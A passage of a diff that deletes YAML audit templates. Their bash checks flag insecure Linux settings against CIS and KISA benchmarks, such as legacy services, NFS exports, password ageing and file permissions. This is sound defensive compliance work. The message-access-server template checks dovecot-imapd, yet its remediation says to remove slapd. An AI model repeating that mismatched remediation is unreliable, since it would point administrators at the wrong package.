# Check if ftp or tnftp packages are installed
if dpkg-query -W -f='${Package} ${Status}\n' ftp tnftp 2>/dev/null | grep -q "install ok installed"; then
echo "[cis-ftp-client-check:Policy-Fail] [FTP client is installed] [CIS_FAIL]"
else
echo "[cis-ftp-client-check:Policy-Pass] [FTP client is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a004830460221009931d0824469b0f912ad65271a547776751ee25732f5edeb3dd030970429e5c20221009aa1b4785a01f1ea0ff8c06364a0875b2e56255115f6e001ca5e8c1e38f51faf:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: ftp-server
info:
name: Ensure FTP Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The vsftpd package provides an FTP server for file transfer services.Since FTP is unencrypted and insecure, it should only be installed when explicitly required.
remediation: |
- Ensure the `vsftpd` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove vsftpd -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s vsftpd &>/dev/null; then
echo "[ftp-server-check:Policy-Fail] [vsftpd is installed] [CIS_FAIL]"
else
echo "[ftp-server-check:Policy-Pass] [vsftpd is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100c7ff63a06f5cf7394699255c1d518450d6d10317334a8f9081e4ac9dddaee5cf022100ab8764795bc72e40aceaedce98a29e587514c46693d1d06ab62a619416179bed:922c64590222798bb761d5b6d8e72950
-40
View File
@@ -1,40 +0,0 @@
id: home-env-permission
info:
name: User Home Directory and Shell Environment File Ownership & Permission
author: songyaeji
severity: medium
description: |
Shell startup and environment files (e.g., .bashrc, .bash_profile, .bash_logout) were not owned by the user or root and had insecure write permissions.Malicious users could manipulate environment variables or inject commands.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,compliance,kisa
self-contained: true
code:
- engine:
- sh
- bash
source: |
for user in $(awk -F: '$6 ~ /^\/home/ {print $1}' /etc/passwd); do
HOME_DIR=$(eval echo ~$user)
find "$HOME_DIR" -maxdepth 1 -type f \
\( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
-exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
done
matchers:
- type: regex
name: insecure-perms
part: response
regex:
- "^-.{5}w" # group writable
- "^-.{8}w" # other/world writable
- type: regex
name: invalid-owner
part: response
regex:
- "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950
@@ -1,42 +0,0 @@
id: inactive-password-lock-default
info:
name: Ensure Inactive Password Lock is Configured (Default Setting)
author: Th3l0newolf
severity: high
description: |
This policy ensures the default user inactivity lock is configured properly.User accounts that remain inactive for more than 45 days after password expiration should be disabled.
remediation: |
Ensure the default INACTIVE parameter is set to 45 days for new accounts.To configure, run: sudo useradd -D -f 45
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,password
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
INACTIVE_DAYS=$(useradd -D | grep -i INACTIVE | awk -F= '{print $2}')
if [ -z "$INACTIVE_DAYS" ] || [ "$INACTIVE_DAYS" -gt 45 ]; then
echo "[inactive-password-lock-default-check:Policy-Fail] [INACTIVE=$INACTIVE_DAYS (invalid)] [CIS_FAIL]"
else
echo "[inactive-password-lock-default-check:Policy-Pass] [INACTIVE=$INACTIVE_DAYS (valid)] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100f3e5e3bb36176a8550312176a50c0d7938dd4f2f85ef28d7d5e7c24be37656d1022100cde95da0edd31265b7ef7145e309d7e5768146ab14079dd84f6d75e9b111041e:922c64590222798bb761d5b6d8e72950
-44
View File
@@ -1,44 +0,0 @@
id: ldap-client
info:
name: Ensure LDAP Client is Not Installed
author: Th3l0newolf
severity: info
description: |
The ldap-utils package provides LDAP client utilities that allow systems to query and interact with LDAP directories.If not explicitly required, it should be removed to minimize the system’s attack surface and reduce security risks.
remediation: |
- Ensure the ldap-utils package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove ldap-utils -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,ldap
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
# Check if the ldap-utils package is installed
if dpkg-query -W -f='${Status}' ldap-utils 2>/dev/null | grep -q "install ok installed"; then
echo "[cis-ldap-client-check:Policy-Fail] [ldap-utils is installed] [CIS_FAIL]"
else
echo "[cis-ldap-client-check:Policy-Pass] [ldap-utils is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100ff8778e0ae1fc773a1a46f288bcfb1d5e232d50fe42361d05d96bca924ecae6e0221009d492ae0f7a531cea826f1e264d8b8418a9656c6f5fa3d0ce75fb7ff9ba9b54b:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: ldap-server
info:
name: Ensure LDAP Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The slapd package provides the OpenLDAP server, which manages directory and identity services. If not explicitly required, having this service installed unnecessarily increases the system’s attack surface.
remediation: |
- Run: sudo apt-get remove slapd -y
- This removes the LDAP server package to reduce the system’s attack surface.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s slapd &>/dev/null; then
echo "[ldap-server-check:Policy-Fail] [slapd is installed] [CIS_FAIL]"
else
echo "[ldap-server-check:Policy-Pass] [slapd is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a0046304402207ee6e7e7e9c66d8b9fbe1f829c03f27090298ed7f861d88bc570582c65810e1b022037d531ff744abf9677b2d15b3de6cfd80dc77b99613de661fe80dd7b6d91edc6:922c64590222798bb761d5b6d8e72950
@@ -1,31 +0,0 @@
id: linux-account-lockout-threshold
info:
name: Linux Account Lockout Threshold Check
author: songyaeji
severity: high
description: |
The system did not enforce an account lockout threshold, leaving it exposed to brute-force attacks through unrestricted login attempts.
reference:
- https://isms.kisa.or.kr/main/csap/notice/
metadata:
verified: true
tags: local,linux,kisa,audit,compliance
self-contained: true
code:
- engine:
- bash
source: |
grep -E 'pam_tally2.so|pam_faillock.so' \
/etc/pam.d/system-auth /etc/pam.d/password-auth /etc/pam.d/common-auth \
2>/dev/null || echo "no-lockout-config"
matchers:
- type: word
name: no-config
part: response
words:
- "no-lockout-config"
# digest: 4b0a00483046022100ddbb8ad3614b22b608c14fd9c974fd7024e21bda73426b584045cf5f7270303d022100cd10a4cc0e4cf5302c7760c004a52a3ef979541703ca6130a740ec39dcb99c43:922c64590222798bb761d5b6d8e72950
@@ -1,46 +0,0 @@
id: linux-anonymous-ftp-enabled
info:
name: Linux Anonymous FTP Access Enabled
author: songyaeji
severity: high
description: |
FTP account allows malicious users to exploit it to log in anonymously and write to directories, potentially gaining unauthorized access or executing local exploits.This template checks for signs of anonymous FTP being enabled via /etc/passwd, vsFTPD, or ProFTPD configuration files.
reference:
- https://isms.kisa.or.kr
metadata:
verified: true
tags: linux,local,kisa,audit,ftp,anonymous,local
self-contained: true
code:
- engine:
- bash
source: |
if grep -q -E '^ftp:' /etc/passwd; then
echo "[VULNERABLE] FTP user exists in /etc/passwd"
else
echo "[SAFE] No FTP user found in /etc/passwd"
fi
# Check vsftpd anonymous login
if grep -q -i 'anonymous_enable.*yes' /etc/vsftpd/vsftpd.conf 2>/dev/null; then
echo "[VULNERABLE] anonymous_enable=YES in vsftpd.conf"
else
echo "[SAFE] Anonymous login disabled in vsftpd.conf"
fi
# Check proftpd anonymous login
if grep -q -i 'UserAlias.*anonymous' /etc/proftpd/proftpd.conf 2>/dev/null; then
echo "[VULNERABLE] UserAlias anonymous in proftpd.conf"
else
echo "[SAFE] Anonymous login disabled in proftpd.conf"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4a0a00473045022055559b14fc854e4092076348e8112d3c5de9cc61c672ae22a6c3c0338bb8297d022100b710a746d9e1137f08fe0e7a9598b87866051c238f885376e2c0ab28d57fe15a:922c64590222798bb761d5b6d8e72950
@@ -1,46 +0,0 @@
id: linux-automountd-enabled
info:
name: Automountd Service Enabled
author: songyaeji
severity: medium
description: |
The automountd service, when enabled or running, allowed a local attacker to execute arbitrary commands with root privileges by exploiting automatic mount options. This misconfiguration led to local privilege escalation.
reference:
- https://isms.kisa.or.kr
metadata:
verified: true
tags: local,linux,privesc,kisa
self-contained: true
code:
- engine:
- sh
- bash
source: |
whoami
- engine:
- sh
- bash
source: |
if pgrep -x "automountd" > /dev/null; then
echo "[VULNERABLE] automountd service is running"
else
echo "[SAFE] automountd service is not running"
fi
matchers-condition: and
matchers:
- type: word
part: response
words:
- "root"
negative: true
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4a0a0047304502203bae281737c0bf4a782527ac4b1f087046778d156478e8942e0f62bc57de275602210080d389c9fdfcdb96b3290985fcbba51ad85076327ed6aabd5af318ba4dc0f0e2:922c64590222798bb761d5b6d8e72950
@@ -1,51 +0,0 @@
id: linux-cron-permissions-check
info:
name: Cron Access File Ownership & Permissions
author: songyaeji
severity: high
description: |
/etc/cron.allow and /etc/cron.deny (if present) were required to be owned by root (UID 0) with strict 640 permissions.If neither file existed, only the root user could use cron, which was considered the safe default behavior.
reference:
- https://isms.kisa.or.kr
tags: local,linux,audit,kisa,compliance
self-contained: true
code:
- engine:
- bash
source: |
result=""
check_file() {
file=$1
if [ -f "$file" ]; then
owner=$(stat -c "%u" "$file") # numeric UID
perm=$(stat -c "%a" "$file") # permissions
if [ "$owner" -ne 0 ] || [ "$perm" -ne 640 ]; then
result+="[WARN] $file misconfigured\n"
fi
fi
}
check_file /etc/cron.allow
check_file /etc/cron.deny
if [ -n "$result" ]; then
echo -e "$result"
else
if [ ! -f /etc/cron.allow ] && [ ! -f /etc/cron.deny ]; then
echo "[OK] no cron access files found (default safe behavior)"
else
echo "[OK] cron files properly configured"
fi
fi
matchers:
- type: word
part: response
words:
- "[WARN] /etc/cron.allow misconfigured"
- "[WARN] /etc/cron.deny misconfigured"
# digest: 490a004630440220180a1385922d6792b7c466fde7a1f487c47fe0525a02e7adf73eea1cc50e8d100220684a7e5fd3ca7898c61cde73008a3725f8753709b7ea323a254b27a075c3ff1f:922c64590222798bb761d5b6d8e72950
@@ -1,76 +0,0 @@
id: linux-legacy-services-enabled
info:
name: DoS Vulnerable Service Enabled
author: songyaeji
severity: high
description: |
Services such as echo, discard, daytime, and chargen were enabled on the system, allowing attackers to exploit them to extract system information or launch denial-of-service (DoS) attacks.These legacy services were required to be disabled unless explicitly needed.
reference:
- https://isms.kisa.or.kr
tags: local,linux,audit,kisa,compliance
self-contained: true
code:
- engine:
- bash
source: |
if [ -f "/etc/xinetd.d/echo" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/echo"; then
echo "[VULNERABLE] echo service is enabled in /etc/xinetd.d/echo"
else
echo "[SAFE] echo service is disabled or not present"
fi
- engine:
- bash
source: |
if [ -f "/etc/xinetd.d/discard" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/discard"; then
echo "[VULNERABLE] discard service is enabled in /etc/xinetd.d/discard"
else
echo "[SAFE] discard service is disabled or not present"
fi
- engine:
- bash
source: |
if [ -f "/etc/xinetd.d/daytime" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/daytime"; then
echo "[VULNERABLE] daytime service is enabled in /etc/xinetd.d/daytime"
else
echo "[SAFE] daytime service is disabled or not present"
fi
- engine:
- bash
source: |
if [ -f "/etc/xinetd.d/chargen" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/chargen"; then
echo "[VULNERABLE] chargen service is enabled in /etc/xinetd.d/chargen"
else
echo "[SAFE] chargen service is disabled or not present"
fi
matchers:
- type: word
name: echo
part: code_1_response
words:
- "[VULNERABLE]"
- type: word
name: daytime
part: code_2_response
words:
- "[VULNERABLE]"
- type: word
name: chargen
part: code_3_response
words:
- "[VULNERABLE]"
- type: word
name: discard
part: code_4_response
words:
- "[VULNERABLE]"
# digest: 4a0a0047304502202cf91c265090819bbe6e79552565776586d650aba479c020577e231fe19482af022100d2ed2e30103881d316dbe4f9d4b517a6e63b4c44a950ce6c5f1468f23914491d:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: linux-nis-service
info:
name: NIS Service Should Be Disabled
author: songyaeji
severity: high
description: |
Evaluated the status of NIS service daemons on the system. Active NIS services could have permitted unauthorized users to escalate privileges or access sensitive account information, posing a significant security risk.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if command -v systemctl >/dev/null 2>&1; then
if systemctl is-active --quiet ypserv ypbind; then
echo "[VULNERABLE] NIS service is running"
systemctl status ypserv ypbind
else
echo "[SAFE] NIS service is not running"
fi
else
running=$(ps -ef | egrep "ypserv|ypbind" | grep -v grep)
if [ -n "$running" ]; then
echo "[VULNERABLE] NIS service is running"
echo "$running"
else
echo "[SAFE] NIS service is not running"
fi
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4a0a00473045022100b5b0f42b84f5cd2ca06b1a201d906667dc91a01dfd53273bdc01b3a65cc4595d0220603376d78e13e2573dd6af85849d0e5c9d897410e6be681645167165bc5d2a62:922c64590222798bb761d5b6d8e72950
@@ -1,42 +0,0 @@
id: linux-nisplus-service
info:
name: NIS+ Service Should Be Disabled
author: songyaeji
severity: high
description: |
Evaluated the status of NIS+ service daemons on the system.Active NIS+ services could have permitted unauthorized users to escalate privileges or access sensitive account information, representing a significant security risk.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if command -v systemctl >/dev/null 2>&1; then
if systemctl is-active --quiet rpc.yppasswdd rpc.yppupdated ypxfrd; then
echo "[VULNERABLE] NIS+ service is running"
systemctl status rpc.yppasswdd rpc.yppupdated ypxfrd
else
echo "[SAFE] NIS+ service is not running"
fi
else
running=$(ps -ef | egrep "rpc.yppasswdd|rpc.yppupdated|ypxfrd" | grep -v grep)
if [ -n "$running" ]; then
echo "[VULNERABLE] NIS+ service is running"
echo "$running"
else
echo "[SAFE] NIS+ service is not running"
fi
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4b0a00483046022100ec34476a472e1a3b3be1d9a49138bc89f071403a821f0a1faef12d98134ca6fa022100ca746f642a4eb1564535e3ceafdde417713b4d795f53ecd7c874cae12a7587f8:922c64590222798bb761d5b6d8e72950
-31
View File
@@ -1,31 +0,0 @@
id: linux-rexec-service
info:
name: rexec Service Should Be Disabled
author: songyaeji
severity: high
description: |
Assessed the operational status of the rexec service on the system.Running rexec could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rexec 2>/dev/null; then
echo "[VULNERABLE] rexec service is enabled"
else
echo "[SAFE] rexec service is disabled"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 490a00463044022003bbbed1e0bd7a6f80f662b6ecc935324f16f9097cf8c7fddaebca4e567fc26f02204a000af2bb0c14fb63940f14fd5e04647a2e49f2d56fecb1555ec9573f42c439:922c64590222798bb761d5b6d8e72950
@@ -1,60 +0,0 @@
id: linux-rhosts-hostsequiv-misconfig
info:
name: Rhosts and Hosts.equiv Misconfiguration Check
author: songyaeji
severity: high
description: |
Assessed the presence and configuration of .rhosts and /etc/hosts.equiv files. Files with unsafe '+' entries, incorrect permissions, or improper ownership could have permitted unauthorized remote command execution via rlogin or rsh.
reference:
- https://isms.kisa.or.kr
- https://linux.die.net/man/5/hosts.equiv
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- bash
source: |
check_hosts_equiv() {
if [ -f /etc/hosts.equiv ]; then
echo "[FOUND] /etc/hosts.equiv exists"
ls -l /etc/hosts.equiv
if grep -q '^\+' /etc/hosts.equiv; then
echo "[WARN] Unsafe '+' entry found in /etc/hosts.equiv"
fi
perms=$(stat -c "%a" /etc/hosts.equiv)
owner=$(stat -c "%U" /etc/hosts.equiv)
if [ "$perms" -gt 644 ] || [ "$owner" != "root" ]; then
echo "[WARN] /etc/hosts.equiv has improper permissions or ownership"
fi
fi
}
check_rhosts() {
find /home /root -maxdepth 2 -name ".rhosts" 2>/dev/null | while read rhost; do
echo "[FOUND] $rhost"
ls -l "$rhost"
if grep -q '^\+' "$rhost"; then
echo "[WARN] Unsafe '+' entry found in $rhost"
fi
perms=$(stat -c "%a" "$rhost")
owner=$(stat -c "%U" "$rhost")
if [ "$perms" -gt 600 ] || [ "$owner" != "root" ]; then
echo "[WARN] $rhost has improper permissions or ownership"
fi
done
}
check_hosts_equiv
check_rhosts
matchers:
- type: word
part: response
words:
- "/etc/hosts.equiv"
- ".rhosts"
- "[WARN]"
# digest: 490a00463044022055990939cd2ff6e0a667754a6946d386089f4113dec88883b5db24420baf3ebc022058e5e428009c5edab46a409bddb9a4ea3104561a85f3683e1c5ee940a6315038:922c64590222798bb761d5b6d8e72950
@@ -1,31 +0,0 @@
id: linux-rlogin-service
info:
name: rlogin Service Should Be Disabled
author: songyaeji
severity: high
description: |
Assessed the operational status of the rlogin service on the system.Running rlogin could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rlogin 2>/dev/null; then
echo "[VULNERABLE] rlogin service is enabled"
else
echo "[SAFE] rlogin service is disabled"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4b0a00483046022100c6f1c8b6c83616490a00bc065ea6a8c8894a3a5c6163a952ac9f582026bfc9a5022100a9495cbde17bb7a534ecad34c9b2dc13f2adac753067701c127423b9a5c55451:922c64590222798bb761d5b6d8e72950
@@ -1,42 +0,0 @@
id: linux-root-remote-login
info:
name: Linux Root Remote Login Enabled - Misconfig
author: songyaeji
severity: high
description: |
Root remote login was enabled either through /etc/securetty or via SSH configuration.This misconfiguration increased the risk of unauthorized system access.
reference:
- https://isms.kisa.or.kr/main/csap/notice/
metadata:
verified: true
tags: local,linux,ssh,root,misconfig,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
cat /etc/securetty 2>/dev/null | grep -E 'pts/[0-9]+' || echo "no-securetty"
- engine:
- sh
- bash
source: |
cat /etc/ssh/sshd_config 2>/dev/null | grep -E '^PermitRootLogin\s+yes' || echo "no-root-ssh"
matchers:
- type: word
name: tty
part: code_1_response
words:
- "pts/"
- type: word
name: ssh
part: code_2_response
words:
- "PermitRootLogin yes"
# digest: 4a0a00473045022100d3f9e9bf332239dff21fed19b2f4e154516bd0150c3e2664a3bc8d47bdc936eb022048de72c0c6425034051202b5d63abff5701dbe0b2b6e84870cfe4760a05a4e1a:922c64590222798bb761d5b6d8e72950
-31
View File
@@ -1,31 +0,0 @@
id: linux-rsh-service
info:
name: rsh Service Should Be Disabled
author: songyaeji
severity: high
description: |
Assessed the operational status of the rsh service on the system.Running rsh could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rsh 2>/dev/null; then
echo "[VULNERABLE] rsh service is enabled"
else
echo "[SAFE] rsh service is disabled"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 490a00463044022033b38de938931e97c6dae4db07a43ccf5b914fdc77d09467f50ed7f9fe8e027e0220453f6d5a24c1e28bfaab7ac33a33aa2ab1de8c671b76ac3a76df3d8efe0e7ab7:922c64590222798bb761d5b6d8e72950
@@ -1,28 +0,0 @@
id: linux-world-writable-file
info:
name: Linux World-Writable File Permission
author: songyaeji
severity: high
description: |
System files were configured with world-writable (chmod o+w) permissions.Malicious users could modify them, leading to privilege escalation, backdoors, or service disruption.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,compliance,kisa
self-contained: true
code:
- engine:
- sh
- bash
source: |
find / -type f -perm -0002 ! -path "/tmp/*" -exec ls -l {} \; 2>/dev/null
matchers:
- type: regex
name: world-writable-files
part: response
regex:
- "^-........w.*"
# digest: 4b0a00483046022100cb4eeed99539ca94bafeaaa60912f67fcac73a5d2c5a4f77d1f5085271959995022100e8df18d9e16d1dd7a187b6bde457f4706e1863500ba810dae15f383f8942bace:922c64590222798bb761d5b6d8e72950
@@ -1,43 +0,0 @@
id: message-access-server
info:
name: Ensure Message Access Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The dovecot-imapd package provides the Dovecot IMAP server, which allows users to remotely access email stored on the system. If not explicitly required, having this service installed unnecessarily increases the system's attack surface and could expose it to potential remote exploits. To maintain a secure system, IMAP services should only be installed and enabled when there is a clear business requirement.
remediation: |
- Ensure the `slapd` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove slapd -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s dovecot-imapd &>/dev/null; then
echo "[message-access-server-check:Policy-Fail] [dovecot-imapd is installed] [CIS_FAIL]"
else
echo "[message-access-server-check:Policy-Pass] [dovecot-imapd is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100872017f5f8005a6556592b1ae6736a0bfca00d3a127dfdf01e9f2e5a955638d502204fc22979eee455173e7bb24f6cdcee46165063e16f761d501f0f9f5e0cde79cd:922c64590222798bb761d5b6d8e72950
-39
View File
@@ -1,39 +0,0 @@
id: nfs-daemon-service
info:
name: NFS Service Daemon Should Be Disabled
author: songyaeji
severity: high
description: |
Assessed the status of the NFS service daemon. A running NFS service may expose the system to unauthorized access, modification, or deletion of files; it is recommended to disable the daemon when not explicitly required.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if command -v systemctl >/dev/null 2>&1; then
if systemctl is-active --quiet nfs-server; then
echo "[VULNERABLE] NFS service is active (systemd nfs-server is running)"
else
echo "[SAFE] NFS service is not running"
fi
else
if ps -ef | grep -v grep | grep -q nfsd; then
echo "[VULNERABLE] NFS service is active (nfsd is running)"
else
echo "[SAFE] NFS service is not running"
fi
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 490a0046304402202e365f52032e4d73bd77139c21b39a53cde40c7ccfcadc601d7838be496b568702205752a5bedecd1cdfe538de1f56707780e86398de4153e89ba87a4a2d5ca82f11:922c64590222798bb761d5b6d8e72950
@@ -1,35 +0,0 @@
id: nfs-insecure-exports
info:
name: NFS Insecure Exports Check
author: songyaeji
severity: high
description: |
Verified whether access control was properly configured on NFS.Highlighted possibilities such as allowing all hosts, no_root_squash, or unrestricted all_squash that could let unauthorized users access shared directories.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,kisa,compliance
self-contained: true
code:
- engine:
- sh
- bash
source: |
if grep -Eq '^[^#].*\(.*no_root_squash.*\)' /etc/exports; then
echo "[VULNERABLE] NFS allows root access with no_root_squash"
elif grep -Eq '^[^#].*\*' /etc/exports; then
echo "[VULNERABLE] NFS allows access to all (*) hosts"
elif grep -Eq '^[^#].*\(.*all_squash.*\)' /etc/exports; then
echo "[WARN] NFS uses all_squash (verify if access is restricted)"
else
echo "[SAFE] NFS access appears restricted"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4a0a00473045022044c9658bfe1ee89876d142333d465adc26d4ec93e6b1bc4f0cacfcac454672de02210093fab4dd0015863b7414c0f9b963424ee7063c05badd0b041209eb45ac875cbd:922c64590222798bb761d5b6d8e72950
-44
View File
@@ -1,44 +0,0 @@
id: nis-client
info:
name: Ensure NIS Client is Not Installed
author: Th3l0newolf
severity: info
description: |
The nis package provides the Network Information Service client, which is insecure and deprecated.If not explicitly required, it should be removed to reduce the system’s attack surface.
remediation: |
- Ensure the nis package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove nis -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,nis
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
# Check if the nis package is installed
if dpkg-query -W -f='${Status}' nis 2>/dev/null | grep -q "install ok installed"; then
echo "[cis-nis-client-check:Policy-Fail] [NIS is installed] [CIS_FAIL]"
else
echo "[cis-nis-client-check:Policy-Pass] [NIS is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100cfc6bf15d445dff51f2fba3848fa1387d14074791850f1f0c91293107f5149be022068f71166dae4ec578d4ca2b043f92349a31fc68dc0e945644c2831490c3665e2:922c64590222798bb761d5b6d8e72950
-48
View File
@@ -1,48 +0,0 @@
id: password-expiration
info:
name: Ensure Password Expiration is Configured
author: Th3l0newolf
severity: medium
description: |
The PASS_MAX_DAYS setting in /etc/login.defs defines how long a password may be used before it must be changed.To comply with CIS Ubuntu Linux Benchmark, this value should be set to a number greater than 0 and less than or equal to 365.
remediation: |
Edit /etc/login.defs and ensure the line is set to: PASS_MAX_DAYS 365 (or another value between 1 and 365).Verify the change with: grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,password
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
MAX_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs | head -n1)
if [ -n "$MAX_DAYS_LINE" ]; then
VALUE=$(echo "$MAX_DAYS_LINE" | awk '{print $2}')
if [ "$VALUE" -gt 0 ] && [ "$VALUE" -le 365 ]; then
echo "[password-expiration-check:Policy-Pass] [PASS_MAX_DAYS is $VALUE (valid)] [CIS_PASS]"
else
echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS is $VALUE (invalid)] [CIS_FAIL]"
fi
else
echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS not set or malformed] [CIS_FAIL]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a004730450221009cbba7657038b7d04af3978e24d438753c705b2be8c9303bb01944ae5b4e600602201d065b7a3fb76908156e03c53a22c3af9b2eaed544712284fa33520f6796396f:922c64590222798bb761d5b6d8e72950
-48
View File
@@ -1,48 +0,0 @@
id: password-min-days
info:
name: Ensure Minimum Password Days is Configured
author: Th3l0newolf
severity: medium
description: |
The PASS_MIN_DAYS setting in /etc/login.defs defines the minimum number of days required between password changes.This prevents users from rapidly cycling through passwords to bypass password history requirements.
remediation: |
Edit /etc/login.defs and ensure the line is set to: PASS_MIN_DAYS 1 (or another value greater than 0).Verify the change with: grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,password
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
MIN_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs | head -n1)
if [ -n "$MIN_DAYS_LINE" ]; then
VALUE=$(echo "$MIN_DAYS_LINE" | awk '{print $2}')
if [ "$VALUE" -gt 0 ]; then
echo "[password-min-days-check:Policy-Pass] [PASS_MIN_DAYS is $VALUE (valid)] [CIS_PASS]"
else
echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS is $VALUE (invalid)] [CIS_FAIL]"
fi
else
echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS not set or malformed] [CIS_FAIL]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
